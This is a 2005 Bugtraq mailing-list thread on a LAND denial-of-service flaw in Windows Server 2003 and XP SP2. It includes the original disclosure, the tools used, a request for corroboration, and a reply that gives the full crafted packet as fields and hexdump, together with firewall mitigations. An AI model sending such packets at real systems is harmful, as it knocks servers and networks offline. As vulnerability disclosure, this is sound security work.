Re: Windows Server 2003 and XP SP2 LAND attack vulnerability
Hi
I was able to reproduce LAND attack against two boxes with Windows XP
Professional installed. Both systems had all patches including SP2. After
receiving malformed packet both systems were very slow for about 5 - 10
seconds. Packet which I used is here:
[IP] 10.0.0.100 > 10.0.0.100
[IP ID] 31802
[IP Proto] TCP (6)
[IP TTL] 255
[IP TOS] 00
[IP Frag offset] 0000
[IP Frag flags]
[TCP Ports] 139 > 139
[TCP Flags] SYN
[TCP Urgent Pointer] 0
[TCP Window Size] 4096
[TCP Seq number] 1058371430
[Hexdump]
45 00 00 28 7C 3A 00 00 FF 06 00 00 0A 00 00 64 E..(|:.........d
0A 00 00 64 00 8B 00 8B 3F 15 77 66 34 E0 26 78 ...d....?.wf4r&x
50 02 10 00 78 31 00 00 P...x1..
According to me this vulnerability isn't very applicable in real environment
because almost every firewall can stop packets like this. Here is a log from
Windows Firewall. It stopped packed even though port 139 was open:
2005-03-08 11:55:04 DROP TCP 10.0.0.100 10.0.0.100 139 139 40 S 1058371430
887105144 4096 - - - RECEIVE
Best Regards
Miroslav Kubik
IT Specialist
----- Original Message -----
From: "Jon O." <jono@xxxxxxxxxxxxxxxxxx>
To: "Dejan Levaja" <dejan@xxxxxxxxxx>
Cc: <bugtraq@xxxxxxxxxxxxxxxxx>
Sent: Monday, March 07, 2005 10:55 PM
Subject: Re: Windows Server 2003 and XP SP2 LAND attack vulnerability
All:
I would like to hear from someone who can reproduce this. If you can,
please send
details with OS, patches installed, pcaps, etc. not a report of what tools
you used
to create the packet, sniff and replay the results. I've tested this and
either my
machines are magically protected from this attack, or it is invalid
(despite what
the press might say). I'd like some outside corroboration of this attack.
On 05-Mar-2005, Dejan Levaja wrote:
Hello, everyone.
Windows Server 2003 and XP SP2 (with Windows Firewall turned off) are
vulnerable to LAND attack.
LAND attack:
Sending TCP packet with SYN flag set, source and destination IP address
and source and destination port as of destination machine, results in
15-30 seconds DoS condition.
Tools used:
IP Sorcery for creating malicious packet, Ethereal for sniffing it and
tcpreplay for replaying.
Results:
Sending single LAND packet to file server causes Windows explorer
freezing on all workstations currently connected to the server. CPU on
server goes 100%. Network monitor on the victim server sometimes can not
even sniff malicious packet. Using tcpreplay to script this attack
results in total collapse of the network.
Vulnerable operating systems:
Windows 2003
XP SP2
other OS not tested (I have other things to do currently ? like checking
firewalls on my networks ;) )
Solution:
Use Windows Firewall on workstations, use some firewall capable of
detecting LAND attacks in front of your servers.
Ethic:
Microsoft was informed 7 days ago (25.02.2005, GMT +1, local time), NO
answer received, so I decided to share this info with security community.
Dejan Levaja
System Engineer
Bulevar JNA 251
11000 Belgrade
Serbia and Montenegro
cell: +381.64.36.00.468
email: dejan@xxxxxxxxxx